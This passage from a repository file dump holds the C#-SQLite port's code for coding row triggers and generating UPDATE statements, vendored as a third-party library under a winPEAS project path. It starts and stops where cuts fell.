pTriggerStep.pSelect, 0 ),\n              sqlite3IdListDup( db, pTriggerStep.pIdList ), orconf );\n              sqlite3VdbeAddOp2( v, OP_ResetCount, 1, 0 );\n              break;\n            }\n          case TK_DELETE:\n            {\n              SrcList pSrc;\n              sqlite3VdbeAddOp2( v, OP_ResetCount, 0, 0 );\n              pSrc = targetSrcList( pParse, pTriggerStep );\n              sqlite3DeleteFrom( pParse, pSrc,\n              sqlite3ExprDup( db, pTriggerStep.pWhere, 0 ) );\n              sqlite3VdbeAddOp2( v, OP_ResetCount, 1, 0 );\n              break;\n            }\n          default: Debug.Assert( pTriggerStep.op == TK_SELECT );\n            {\n              Select ss = sqlite3SelectDup( db, pTriggerStep.pSelect, 0 );\n              if ( ss != null )\n              {\n                SelectDest dest = new SelectDest();\n\n                sqlite3SelectDestInit( dest, SRT_Discard, 0 );\n                sqlite3Select( pParse, ss, ref dest );\n                sqlite3SelectDelete( db, ref ss );\n              }\n              break;\n            }\n        }\n        pTriggerStep = pTriggerStep.pNext;\n      }\n      sqlite3VdbeAddOp2( v, OP_ContextPop, 0, 0 );\n#if SQLITE_DEBUG\n      VdbeComment( v, \"end trigger %s\", pStepList.pTrig.name );\n#endif\n      return 0;\n    }\n\n    /*\n    ** This is called to code FOR EACH ROW triggers.\n    **\n    ** When the code that this function generates is executed, the following\n    ** must be true:\n    **\n    ** 1. No cursors may be open in the main database.  (But newIdx and oldIdx\n    **    can be indices of cursors in temporary tables.  See below.)\n    **\n    ** 2. If the triggers being coded are ON INSERT or ON UPDATE triggers, then\n    **    a temporary vdbe cursor (index newIdx) must be open and pointing at\n    **    a row containing values to be substituted for new.* expressions in the\n    **    trigger program(s).\n    **\n    ** 3. If the triggers being coded are ON DELETE or ON UPDATE triggers, then\n    **    a temporary vdbe cursor (index oldIdx) must be open and pointing at\n    **    a row containing values to be substituted for old.* expressions in the\n    **    trigger program(s).\n    **\n    ** If they are not NULL, the piOldColMask and piNewColMask output variables\n    ** are set to values that describe the columns used by the trigger program\n    ** in the OLD.* and NEW.* tables respectively. If column N of the\n    ** pseudo-table is read at least once, the corresponding bit of the output\n    ** mask is set. If a column with an index greater than 32 is read, the\n    ** output mask is set to the special value 0xffffffff.\n    **\n    */\n    static int sqlite3CodeRowTrigger(\n    Parse pParse,        /* Parse context */\n    Trigger pTrigger,    /* List of triggers on table pTab */\n    int op,              /* One of TK_UPDATE, TK_INSERT, TK_DELETE */\n    ExprList pChanges,   /* Changes list for any UPDATE OF triggers */\n    int tr_tm,           /* One of TRIGGER_BEFORE, TRIGGER_AFTER */\n    Table pTab,          /* The table to code triggers from */\n    int newIdx,          /* The indice of the \"new\" row to access */\n    int oldIdx,          /* The indice of the \"old\" row to access */\n    int orconf,          /* ON CONFLICT policy */\n    int ignoreJump,      /* Instruction to jump to for RAISE(IGNORE) */\n    ref u32 piOldColMask,/* OUT: Mask of columns used from the OLD.* table */\n    ref u32 piNewColMask /* OUT: Mask of columns used from the NEW.* table */\n    )\n    {\n      Trigger p;\n      sqlite3 db = pParse.db;\n      TriggerStack trigStackEntry = new TriggerStack();\n\n      trigStackEntry.oldColMask = 0;\n      trigStackEntry.newColMask = 0;\n\n      Debug.Assert( op == TK_UPDATE || op == TK_INSERT || op == TK_DELETE );\n      Debug.Assert( tr_tm == TRIGGER_BEFORE || tr_tm == TRIGGER_AFTER );\n\n      Debug.Assert( newIdx != -1 || oldIdx != -1 );\n\n      for ( p = pTrigger ; p != null ; p = p.pNext )\n      {\n        bool fire_this = false;\n\n        /* Sanity checking:  The schema for the trigger and for the table are\n        ** always defined.  The trigger must be in the same schema as the table\n        ** or else it must be a TEMP trigger. */\n        Debug.Assert( p.pSchema != null );\n        Debug.Assert( p.pTabSchema != null );\n        Debug.Assert( p.pSchema == p.pTabSchema || p.pSchema == db.aDb[1].pSchema );\n\n        /* Determine whether we should code this trigger */\n        if (\n        p.op == op &&\n        p.tr_tm == tr_tm &&\n        checkColumnOverlap( p.pColumns, pChanges ) != 0 )\n        {\n          TriggerStack pS;      /* Pointer to trigger-stack entry */\n          for ( pS = pParse.trigStack ; pS != null && p != pS.pTrigger ; pS = pS.pNext ) { }\n          if ( pS == null )\n          {\n            fire_this = true;\n          }\n#if FALSE   // * Give no warning for recursive triggers.  Just do not do them */\nelse{\nsqlite3ErrorMsg(pParse, \"recursive triggers not supported (%s)\",\np.name);\nreturn SQLITE_ERROR;\n}\n#endif\n        }\n\n        if ( fire_this )\n        {\n          int endTrigger;\n          Expr whenExpr;\n          AuthContext sContext;\n          NameContext sNC;\n\n#if !SQLITE_OMIT_TRACE\n          sqlite3VdbeAddOp4( pParse.pVdbe, OP_Trace, 0, 0, 0,\n          sqlite3MPrintf( db, \"-- TRIGGER %s\", p.name ),\n          P4_DYNAMIC );\n#endif\n          sNC = new NameContext();// memset( &sNC, 0, sizeof(sNC) )\n          sNC.pParse = pParse;\n\n          /* Push an entry on to the trigger stack */\n          trigStackEntry.pTrigger = p;\n          trigStackEntry.newIdx = newIdx;\n          trigStackEntry.oldIdx = oldIdx;\n          trigStackEntry.pTab = pTab;\n          trigStackEntry.pNext = pParse.trigStack;\n          trigStackEntry.ignoreJump = ignoreJump;\n          pParse.trigStack = trigStackEntry;\n#if !SQLITE_OMIT_AUTHORIZATION\nsqlite3AuthContextPush( pParse, sContext, p.name );\n#endif\n\n          /* code the WHEN clause */\n          endTrigger = sqlite3VdbeMakeLabel( pParse.pVdbe );\n          whenExpr = sqlite3ExprDup( db, p.pWhen, 0 );\n          if ( /* db.mallocFailed != 0 || */ sqlite3ResolveExprNames( sNC, ref whenExpr ) != 0 )\n          {\n            pParse.trigStack = trigStackEntry.pNext;\n            sqlite3ExprDelete( db, ref whenExpr );\n            return 1;\n          }\n          sqlite3ExprIfFalse( pParse, whenExpr, endTrigger, SQLITE_JUMPIFNULL );\n          sqlite3ExprDelete( db, ref whenExpr );\n\n          codeTriggerProgram( pParse, p.step_list, orconf );\n\n          /* Pop the entry off the trigger stack */\n          pParse.trigStack = trigStackEntry.pNext;\n#if !SQLITE_OMIT_AUTHORIZATION\nsqlite3AuthContextPop( sContext );\n#endif\n          sqlite3VdbeResolveLabel( pParse.pVdbe, endTrigger );\n        }\n      }\n      piOldColMask |= trigStackEntry.oldColMask; // if ( piOldColMask != 0 ) piOldColMask |= trigStackEntry.oldColMask;\n      piNewColMask |= trigStackEntry.newColMask; // if ( piNewColMask != 0 ) piNewColMask |= trigStackEntry.newColMask;\n      return 0;\n    }\n#endif // * !SQLITE_OMIT_TRIGGER) */\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/update_c.cs",
    "content": "using System.Diagnostics;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains C code routines that are called by the parser\n    ** to handle UPDATE statements.\n    **\n    ** $Id: update.c,v 1.207 2009/08/08 18:01:08 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n#if !SQLITE_OMIT_VIRTUALTABLE\n/* Forward declaration */\n//static void updateVirtualTable(\n//Parse pParse,       /* The parsing context */\n//SrcList pSrc,       /* The virtual table to be modified */\n//Table pTab,         /* The virtual table */\n//ExprList pChanges,  /* The columns to change in the UPDATE statement */\n//Expr pRowidExpr,    /* Expression used to recompute the rowid */\n//int aXRef,          /* Mapping from columns of pTab to entries in pChanges */\n//Expr pWhere         /* WHERE clause of the UPDATE statement */\n//);\n#endif // * SQLITE_OMIT_VIRTUALTABLE */\n\n    /*\n** The most recently coded instruction was an OP_Column to retrieve the\n** i-th column of table pTab. This routine sets the P4 parameter of the\n** OP_Column to the default value, if any.\n**\n** The default value of a column is specified by a DEFAULT clause in the\n** column definition. This was either supplied by the user when the table\n** was created, or added later to the table definition by an ALTER TABLE\n** command. If the latter, then the row-records in the table btree on disk\n** may not contain a value for the column and the default value, taken\n** from the P4 parameter of the OP_Column instruction, is returned instead.\n** If the former, then all row-records are guaranteed to include a value\n** for the column and the P4 value is not required.\n**\n** Column definitions created by an ALTER TABLE command may only have\n** literal default values specified: a number, null or a string. (If a more\n** complicated default expression value was provided, it is evaluated\n** when the ALTER TABLE is executed and one of the literal values written\n** into the sqlite_master table.)\n**\n** Therefore, the P4 parameter is only required if the default value for\n** the column is a literal number, string or null. The sqlite3ValueFromExpr()\n** function is capable of transforming these types of expressions into\n** sqlite3_value objects.\n**\n** If parameter iReg is not negative, code an OP_RealAffinity instruction\n** on register iReg. This is used when an equivalent integer value is\n** stored in place of an 8-byte floating point value in order to save\n** space.\n*/\n    static void sqlite3ColumnDefault( Vdbe v, Table pTab, int i, int iReg )\n    {\n      Debug.Assert( pTab != null );\n      if ( null == pTab.pSelect )\n      {\n        sqlite3_value pValue = new sqlite3_value();\n        int enc = ENC( sqlite3VdbeDb( v ) );\n        Column pCol = pTab.aCol[i];\n#if SQLITE_DEBUG\n        VdbeComment( v, \"%s.%s\", pTab.zName, pCol.zName );\n#endif\n        Debug.Assert( i < pTab.nCol );\n        sqlite3ValueFromExpr( sqlite3VdbeDb( v ), pCol.pDflt, enc,\n        pCol.affinity, ref pValue );\n        if ( pValue != null )\n        {\n          sqlite3VdbeChangeP4( v, -1, pValue, P4_MEM );\n        }\n#if !SQLITE_OMIT_FLOATING_POINT\n        if ( iReg >= 0 && pTab.aCol[i].affinity == SQLITE_AFF_REAL )\n        {\n          sqlite3VdbeAddOp1( v, OP_RealAffinity, iReg );\n        }\n#endif\n      }\n    }\n\n    /*\n    ** Process an UPDATE statement.\n    **\n    **   UPDATE OR IGNORE table_wxyz SET a=b, c=d WHERE e<5 AND f NOT NULL;\n    **          \\_______/ \\________/     \\______/       \\________________/\n    *            onError   pTabList      pChanges             pWhere\n    */\n    static void sqlite3Update(\n    Parse pParse,         /* The parser context */\n    SrcList pTabList,     /* The table in which we should change things */\n    ExprList pChanges,    /* Things to be changed */\n    Expr pWhere,          /* The WHERE clause.  May be null */\n    int onError           /* How to handle constraint errors */\n    )\n    {\n      int i, j;                   /* Loop counters */\n      Table pTab;                 /* The table to be updated */\n      int addr = 0;               /* VDBE instruction address of the start of the loop */\n      WhereInfo pWInfo;           /* Information about the WHERE clause */\n      Vdbe v;                     /* The virtual database engine */\n      Index pIdx;                 /* For looping over indices */\n      int nIdx;                   /* Number of indices that need updating */\n      int iCur;                   /* VDBE Cursor number of pTab */\n      sqlite3 db;                 /* The database structure */\n      int[] aRegIdx = null;       /* One register assigned to each index to be updated */\n      int[] aXRef = null;         /* aXRef[i] is the index in pChanges.a[] of the\n** an expression for the i-th column of the table.\n** aXRef[i]==-1 if the i-th column is not changed. */\n      bool chngRowid;             /* True if the record number is being changed */\n      Expr pRowidExpr = null;     /* Expression defining the new record number */\n      bool openAll = false;       /* True if all indices need to be opened */\n      AuthContext sContext;       /* The authorization context */\n      NameContext sNC;            /* The name-context to resolve expressions in */\n      int iDb;                    /* Database containing the table being updated */\n      int j1;                     /* Addresses of jump instructions */\n      u8 okOnePass;               /* True for one-pass algorithm without the FIFO */\n\n#if !SQLITE_OMIT_TRIGGER\n      bool isView = false;         /* Trying to update a view */\n      Trigger pTrigger;            /* List of triggers on pTab, if required */\n#endif\n      int iBeginAfterTrigger = 0;  /* Address of after trigger program */\n      int iEndAfterTrigger = 0;    /* Exit of after trigger program */\n      int iBeginBeforeTrigger = 0; /* Address of before trigger program */\n      int iEndBeforeTrigger = 0;   /* Exit of before trigger program */\n      u32 old_col_mask = 0;        /* Mask of OLD.* columns in use */\n      u32 new_col_mask = 0;        /* Mask of NEW.* columns in use */\n\n      int newIdx = -1;             /* index of trigger \"new\" temp table       */\n      int oldIdx = -1;             /* index of trigger \"old\" temp table       */\n\n      /* Register Allocations */\n      int regRowCount = 0;         /* A count of rows changed */\n      int regOldRowid;             /* The old rowid */\n      int regNewRowid;             /* The new rowid */\n      int regData;                 /* New data for the row */\n      int regRowSet = 0;           /* Rowset of rows to be updated */\n\n      sContext = new AuthContext(); //memset( &sContext, 0, sizeof( sContext ) );\n      db = pParse.db;\n      if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ )\n      {\n        goto update_cleanup;\n      }\n      Debug.Assert( pTabList.nSrc == 1 );\n\n      /* Locate the table which we want to update.\n      */\n      pTab = sqlite3SrcListLookup( pParse, pTabList );\n      if ( pTab == null ) goto update_cleanup;\n      iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n\n      /* Figure out if we have any triggers and if the table being\n      ** updated is a view\n      */\n#if !SQLITE_OMIT_TRIGGER\n      int iDummy = 0;\n      pTrigger = sqlite3TriggersExist( pParse, pTab, TK_UPDATE, pChanges, ref iDummy );\n      isView = pTab.pSelect != null;\n#else\nconst Trigger pTrigger = null;\n#if !SQLITE_OMIT_VIEW\nconst bool isView = false;\n#endif\n#endif\n#if SQLITE_OMIT_VIEW\n//    # undef isView\nconst bool isView = false;\n#endif\n\n      if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 )\n      {\n        goto update_cleanup;\n      }\n      if ( sqlite3IsReadOnly( pParse, pTab, ( pTrigger != null ? 1 : 0 ) ) )\n      {\n        goto update_cleanup;\n      }\n      aXRef = new int[pTab.nCol];// sqlite3DbMallocRaw(db, sizeof(int) * pTab.nCol);\n      //if ( aXRef == null ) goto update_cleanup;\n      for ( i = 0 ; i < pTab.nCol ; i++ ) aXRef[i] = -1;\n\n      /* If there are FOR EACH ROW triggers, allocate cursors for the\n      ** special OLD and NEW tables\n      */\n      if ( pTrigger != null )\n      {\n        newIdx = pParse.nTab++;\n        oldIdx = pParse.nTab++;\n      }\n\n      /* Allocate a cursors for the main database table and for all indices.\n      ** The index cursors might not be used, but if they are used they\n      ** need to occur right after the database cursor.  So go ahead and\n      ** allocate enough space, just in case.\n      */\n      pTabList.a[0].iCursor = iCur = pParse.nTab++;\n      for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n      {\n        pParse.nTab++;\n      }\n\n      /* Initialize the name-context */\n      sNC = new NameContext();// memset(&sNC, 0, sNC).Length;\n      sNC.pParse = pParse;\n      sNC.pSrcList = pTabList;\n\n      /* Resolve the column names in all the expressions of the\n      ** of the UPDATE statement.  Also find the column index\n      ** for each column to be updated in the pChanges array.  For each\n      ** column to be updated, make sure we have authorization to change\n      ** that column.\n      */\n      chngRowid = false;\n      for ( i = 0 ; i < pChanges.nExpr ; i++ )\n      {\n        if ( sqlite3ResolveExprNames( sNC, ref pChanges.a[i].pExpr ) != 0 )\n        {\n          goto update_cleanup;\n        }\n        for ( j = 0 ; j < pTab.nCol ; j++ )\n        {\n          if ( sqlite3StrICmp( pTab.aCol[j].zName, pChanges.a[i].zName ) == 0 )\n          {\n            if ( j == pTab.iPKey )\n            {\n              chngRowid = true;\n              pRowidExpr = pChanges.a[i].pExpr;\n            }\n            aXRef[j] = i;\n            break;\n          }\n        }\n        if ( j >= pTab.nCol )\n        {\n          if ( sqlite3IsRowid( pChanges.a[i].zName ) )\n          {\n            chngRowid = true;\n            pRowidExpr = pChanges.a[i].pExpr;\n          }\n          else\n          {\n            sqlite3ErrorMsg( pParse, \"no such column: %s\", pChanges.a[i].zName );\n            goto update_cleanup;\n          }\n        }\n#if !SQLITE_OMIT_AUTHORIZATION\n{\nint rc;\nrc = sqlite3AuthCheck(pParse, SQLITE_UPDATE, pTab.zName,\npTab.aCol[j].zName, db.aDb[iDb].zName);\nif( rc==SQLITE_DENY ){\ngoto update_cleanup;\n}else if( rc==SQLITE_IGNORE ){\naXRef[j] = -1;\n}\n}\n#endif\n      }\n\n      /* Allocate memory for the array aRegIdx[].  There is one entry in the\n      ** array for each index associated with table being updated.  Fill in\n      ** the value with a register number for indices that are to be used\n      ** and with zero for unused indices.\n      */\n      for ( nIdx = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, nIdx++ ) { }\n      if ( nIdx > 0 )\n      {\n        aRegIdx = new int[nIdx]; // sqlite3DbMallocRaw(db, Index*.Length * nIdx);\n        if ( aRegIdx == null ) goto update_cleanup;\n      }\n      for ( j = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, j++ )\n      {\n        int reg;\n        if ( chngRowid )\n        {\n          reg = ++pParse.nMem;\n        }\n        else\n        {\n          reg = 0;\n          for ( i = 0 ; i < pIdx.nColumn ; i++ )\n          {\n            if ( aXRef[pIdx.aiColumn[i]] >= 0 )\n            {\n              reg = ++pParse.nMem;\n              break;\n            }\n          }\n        }\n        aRegIdx[j] = reg;\n      }\n\n      /* Allocate a block of register used to store the change record\n      ** sent to sqlite3GenerateConstraintChecks().  There are either\n      ** one or two registers for holding the rowid.  One rowid register\n      ** is used if chngRowid is false and two are used if chngRowid is\n      ** true.  Following these are pTab.nCol register holding column\n      ** data.\n      */\n      regOldRowid = regNewRowid = pParse.nMem + 1;\n      pParse.nMem += pTab.nCol + 1;\n      if ( chngRowid )\n      {\n        regNewRowid++;\n        pParse.nMem++;\n      }\n      regData = regNewRowid + 1;\n\n\n      /* Begin generating code.\n      */\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null ) goto update_cleanup;\n      if ( pParse.nested == 0 ) sqlite3VdbeCountChanges( v );\n      sqlite3BeginWriteOperation( pParse, 1, iDb );\n\n#if !SQLITE_OMIT_VIRTUALTABLE\n/* Virtual tables must be handled separately */\nif ( IsVirtual( pTab ) )\n{\nupdateVirtualTable( pParse, pTabList, pTab, pChanges, pRowidExpr, aXRef, pWhere );\npWhere = null;\npTabList = null;\ngoto update_cleanup;\n}\n#endif\n\n      /* Start the view context\n*/\n#if !SQLITE_OMIT_AUTHORIZATION\nif( isView ){\nsqlite3AuthContextPush(pParse, sContext, pTab.zName);\n}\n#endif\n      /* Generate the code for triggers.\n*/\n      if ( pTrigger != null )\n      {\n        int iGoto;\n\n        /* Create pseudo-tables for NEW and OLD\n        */\n        sqlite3VdbeAddOp3( v, OP_OpenPseudo, oldIdx, 0, pTab.nCol );\n        sqlite3VdbeAddOp3( v, OP_OpenPseudo, newIdx, 0, pTab.nCol );\n\n        iGoto = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 );\n        addr = sqlite3VdbeMakeLabel( v );\n        iBeginBeforeTrigger = sqlite3VdbeCurrentAddr( v );\n        if ( sqlite3CodeRowTrigger( pParse, pTrigger, TK_UPDATE, pChanges,\n        TRIGGER_BEFORE, pTab, newIdx, oldIdx, onError, addr,\n        ref old_col_mask, ref new_col_mask ) != 0 )\n        {\n          goto update_cleanup;\n        }\n        iEndBeforeTrigger = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 );\n        iBeginAfterTrigger = sqlite3VdbeCurrentAddr( v );\n#if !SQLITE_OMIT_TRIGGER\n        if ( sqlite3CodeRowTrigger( pParse, pTrigger, TK_UPDATE, pChanges, TRIGGER_AFTER, pTab,\n        newIdx, oldIdx, onError, addr, ref old_col_mask, ref new_col_mask ) != 0 )\n        {\n          goto update_cleanup;\n        }\n#endif\n        iEndAfterTrigger = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 );\n        sqlite3VdbeJumpHere( v, iGoto );\n      }\n\n      /* If we are trying to update a view, realize that view into\n      ** a ephemeral table.\n      */\n#if !(SQLITE_OMIT_VIEW) && !(SQLITE_OMIT_TRIGGER)\n      if ( isView )\n      {\n        sqlite3MaterializeView( pParse, pTab, pWhere, iCur );\n      }\n#endif\n\n      /* Resolve the column names in all the expressions in the\n** WHERE clause.\n*/\n      if ( sqlite3ResolveExprNames( sNC, ref pWhere ) != 0 )\n      {\n        goto update_cleanup;\n      }\n\n      /* Begin the database scan\n      */\n      sqlite3VdbeAddOp2( v, OP_Null, 0, regOldRowid );\n      ExprList NullOrderby = null;\n      pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref NullOrderby, WHERE_ONEPASS_DESIRED );\n      if ( pWInfo == null ) goto update_cleanup;\n      okOnePass = pWInfo.okOnePass;\n\n      /* Remember the rowid of every item to be updated.\n      */\n      sqlite3VdbeAddOp2( v, OP_Rowid, iCur, regOldRowid );\n      if ( 0 == okOnePass )\n      {\n        regRowSet = ++pParse.nMem;\n        sqlite3VdbeAddOp2( v, OP_RowSetAdd, regRowSet, regOldRowid );\n      }\n\n      /* End the database scan loop.\n      */\n      sqlite3WhereEnd( pWInfo );\n\n      /* Initialize the count of updated rows\n      */\n      if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.trigStack == null )\n      {\n        regRowCount = ++pParse.nMem;\n        sqlite3VdbeAddOp2( v, OP_Integer, 0, regRowCount );\n      }\n\n      if ( !isView )\n      {\n        /*\n        ** Open every index that needs updating.  Note that if any\n        ** index could potentially invoke a REPLACE conflict resolution\n        ** action, then we need to open all indices because we might need\n        ** to be deleting some records.\n        */\n        if ( 0 == okOnePass ) sqlite3OpenTable( pParse, iCur, iDb, pTab, OP_OpenWrite );\n        if ( onError == OE_Replace )\n        {\n          openAll = true;\n        }\n        else\n        {\n          openAll = false;\n          for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n          {\n            if ( pIdx.onError == OE_Replace )\n            {\n              openAll = true;\n              break;\n            }\n          }\n        }\n        for ( i = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, i++ )\n        {\n          if ( openAll || aRegIdx[i] > 0 )\n          {\n            KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx );\n            sqlite3VdbeAddOp4( v, OP_OpenWrite, iCur + i + 1, pIdx.tnum, iDb,\n            pKey, P4_KEYINFO_HANDOFF );\n            Debug.Assert( pParse.nTab > iCur + i + 1 );\n          }\n        }\n      }\n\n      /* Jump back to this point if a trigger encounters an IGNORE constraint. */\n      if ( pTrigger != null )\n      {\n        sqlite3VdbeResolveLabel( v, addr );\n      }\n\n      /* Top of the update loop */\n      if ( okOnePass != 0 )\n      {\n        int a1 = sqlite3VdbeAddOp1( v, OP_NotNull, regOldRowid );\n        addr = sqlite3VdbeAddOp0( v, OP_Goto );\n        sqlite3VdbeJumpHere( v, a1 );\n      }\n      else\n      {\n        addr = sqlite3VdbeAddOp3( v, OP_RowSetRead, regRowSet, 0, regOldRowid );\n      }\n\n      if ( pTrigger != null )\n      {\n        int regRowid;\n        int regRow;\n        int regCols;\n\n        /* Make cursor iCur point to the record that is being updated.\n        */\n        sqlite3VdbeAddOp3( v, OP_NotExists, iCur, addr, regOldRowid );\n\n        /* Generate the OLD table\n        */\n        regRowid = sqlite3GetTempReg( pParse );\n        regRow = sqlite3GetTempReg( pParse );\n        sqlite3VdbeAddOp2( v, OP_Rowid, iCur, regRowid );\n        if ( old_col_mask == 0 )\n        {\n          sqlite3VdbeAddOp2( v, OP_Null, 0, regRow );\n        }\n        else\n        {\n          sqlite3VdbeAddOp2( v, OP_RowData, iCur, regRow );\n        }\n        sqlite3VdbeAddOp3( v, OP_Insert, oldIdx, regRow, regRowid );\n\n        /* Generate the NEW table\n        */\n        if ( chngRowid )\n        {\n          sqlite3ExprCodeAndCache( pParse, pRowidExpr, regRowid );\n          sqlite3VdbeAddOp1( v, OP_MustBeInt, regRowid );\n        }\n        else\n        {\n          sqlite3VdbeAddOp2( v, OP_Rowid, iCur, regRowid );\n        }\n        regCols = sqlite3GetTempRange( pParse, pTab.nCol );\n        for ( i = 0 ; i < pTab.nCol ; i++ )\n        {\n          if ( i == pTab.iPKey )\n          {\n            sqlite3VdbeAddOp2( v, OP_Null, 0, regCols + i );\n            continue;\n          }\n          j = aXRef[i];\n          if ( ( i < 32 && ( new_col_mask & ( (u32)1 << i ) ) != 0 ) || new_col_mask == 0xffffffff )\n          {\n            if ( j < 0 )\n            {\n              sqlite3VdbeAddOp3( v, OP_Column, iCur, i, regCols + i );\n              sqlite3ColumnDefault( v, pTab, i, -1 );\n            }\n            else\n            {\n              sqlite3ExprCodeAndCache( pParse, pChanges.a[j].pExpr, regCols + i );\n            }\n          }\n          else\n          {\n            sqlite3VdbeAddOp2( v, OP_Null, 0, regCols + i );\n          }\n        }\n        sqlite3VdbeAddOp3( v, OP_MakeRecord, regCols, pTab.nCol, regRow );\n        if ( !isView )\n        {\n          sqlite3TableAffinityStr( v, pTab );\n          sqlite3ExprCacheAffinityChange( pParse, regCols, pTab.nCol );\n        }\n        sqlite3ReleaseTempRange( pParse, regCols, pTab.nCol );\n        /* if( pParse.nErr ) goto update_cleanup; */\n        sqlite3VdbeAddOp3( v, OP_Insert, newIdx, regRow, regRowid );\n        sqlite3ReleaseTempReg( pParse, regRowid );\n        sqlite3ReleaseTempReg( pParse, regRow );\n\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, iBeginBeforeTrigger );\n        sqlite3VdbeJumpHere( v, iEndBeforeTrigger );\n      }\n\n      if ( !isView )\n      {\n\n        /* Loop over every record that needs updating.  We have to load\n        ** the old data for each record to be updated because some columns\n        ** might not change and we will need to copy the old value.\n        ** Also, the old data is needed to delete the old index entries.\n        ** So make the cursor point at the old record.\n        */\n        sqlite3VdbeAddOp3( v, OP_NotExists, iCur, addr, regOldRowid );\n\n        /* If the record number will change, push the record number as it\n        ** will be after the update. (The old record number is currently\n        ** on top of the stack.)\n        */\n        if ( chngRowid )\n        {\n          sqlite3ExprCode( pParse, pRowidExpr, regNewRowid );\n          sqlite3VdbeAddOp1( v, OP_MustBeInt, regNewRowid );\n        }\n\n        /* Compute new data for this record.\n        */\n        for ( i = 0 ; i < pTab.nCol ; i++ )\n        {\n          if ( i == pTab.iPKey )\n          {\n            sqlite3VdbeAddOp2( v, OP_Null, 0, regData + i );\n            continue;\n          }\n          j = aXRef[i];\n          if ( j < 0 )\n          {\n            sqlite3VdbeAddOp3( v, OP_Column, iCur, i, regData + i );\n            sqlite3ColumnDefault( v, pTab, i, regData + i );\n          }\n          else\n          {\n            sqlite3ExprCode( pParse, pChanges.a[j].pExpr, regData + i );\n          }\n        }\n\n        /* Do constraint checks\n        */\n        iDummy = 0;\n        sqlite3GenerateConstraintChecks( pParse, pTab, iCur, regNewRowid,\n           aRegIdx, chngRowid, true,\n           onError, addr, ref iDummy );\n\n        /* Delete the old indices for the current record.\n        */\n        j1 = sqlite3VdbeAddOp3( v, OP_NotExists, iCur, 0, regOldRowid );\n        sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, aRegIdx );\n\n        /* If changing the record number, delete the old record.\n        */\n        if ( chngRowid )\n        {\n          sqlite3VdbeAddOp2( v, OP_Delete, iCur, 0 );\n        }\n        sqlite3VdbeJumpHere( v, j1 );\n\n        /* Create the new index entries and the new record.\n        */\n        sqlite3CompleteInsertion( pParse, pTab, iCur, regNewRowid,\n        aRegIdx, true, -1, false, false );\n      }\n\n      /* Increment the row counter\n      */\n      if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.trigStack == null )\n      {\n        sqlite3VdbeAddOp2( v, OP_AddImm, regRowCount, 1 );\n      }\n\n      /* If there are triggers, close all the cursors after each iteration\n      ** through the loop.  The fire the after triggers.\n      */\n      if ( pTrigger != null )\n      {\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, iBeginAfterTrigger );\n        sqlite3VdbeJumpHere( v, iEndAfterTrigger );\n      }\n\n      /* Repeat the above with the next record to be updated, until\n      ** all record selected by the WHERE clause have been updated.\n      */\n      sqlite3VdbeAddOp2( v, OP_Goto, 0, addr );\n      sqlite3VdbeJumpHere( v, addr );\n\n      /* Close all tables */\n      for ( i = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, i++ )\n      {\n        if ( openAll || aRegIdx[i] > 0 )\n        {\n          sqlite3VdbeAddOp2( v, OP_Close, iCur + i + 1, 0 );\n        }\n      }\n      sqlite3VdbeAddOp2( v, OP_Close, iCur, 0 );\n      if ( pTrigger != null )\n      {\n        sqlite3VdbeAddOp2( v, OP_Close, newIdx, 0 );\n        sqlite3VdbeAddOp2( v, OP_Close, oldIdx, 0 );\n      }\n\n      /* Update the sqlite_sequence table by storing the content of the\n      ** maximum rowid counter values recorded while inserting into\n      ** autoincrement tables.\n      */\n      if ( pParse.nested == 0 && pParse.trigStack == null )\n      {\n        sqlite3AutoincrementEnd( pParse );\n      }\n\n      /*\n      ** Return the number of rows that were changed. If this routine is\n      ** generating code because of a call to sqlite3NestedParse(), do not\n      ** invoke the callback function.\n      */\n      if ( ( db.flags & SQLITE_CountRows ) != 0 && pParse.trigStack == null && pParse.nested == 0 )\n      {\n        sqlite3VdbeAddOp2( v, OP_ResultRow, regRowCount, 1 );\n        sqlite3VdbeSetNumCols( v, 1 );\n        sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"rows updated\", SQLITE_STATIC );\n      }\n\nupdate_cleanup:\n#if !SQLITE_OMIT_AUTHORIZATION\nsqlite3AuthContextPop(sContext);\n#endif\n      //sqlite3DbFree( db, ref  aRegIdx );\n      //sqlite3DbFree( db, ref  aXRef );\n      sqlite3SrcListDelete( db, ref pTabList );\n      sqlite3ExprListDelete( db, ref pChanges );\n      sqlite3ExprDelete( db, ref pWhere );\n      return;\n    }\n\n#if !SQLITE_OMIT_VIRTUALTABLE\n/*\n** Generate code for an UPDATE of a virtual table.\n**\n** The strategy is that we 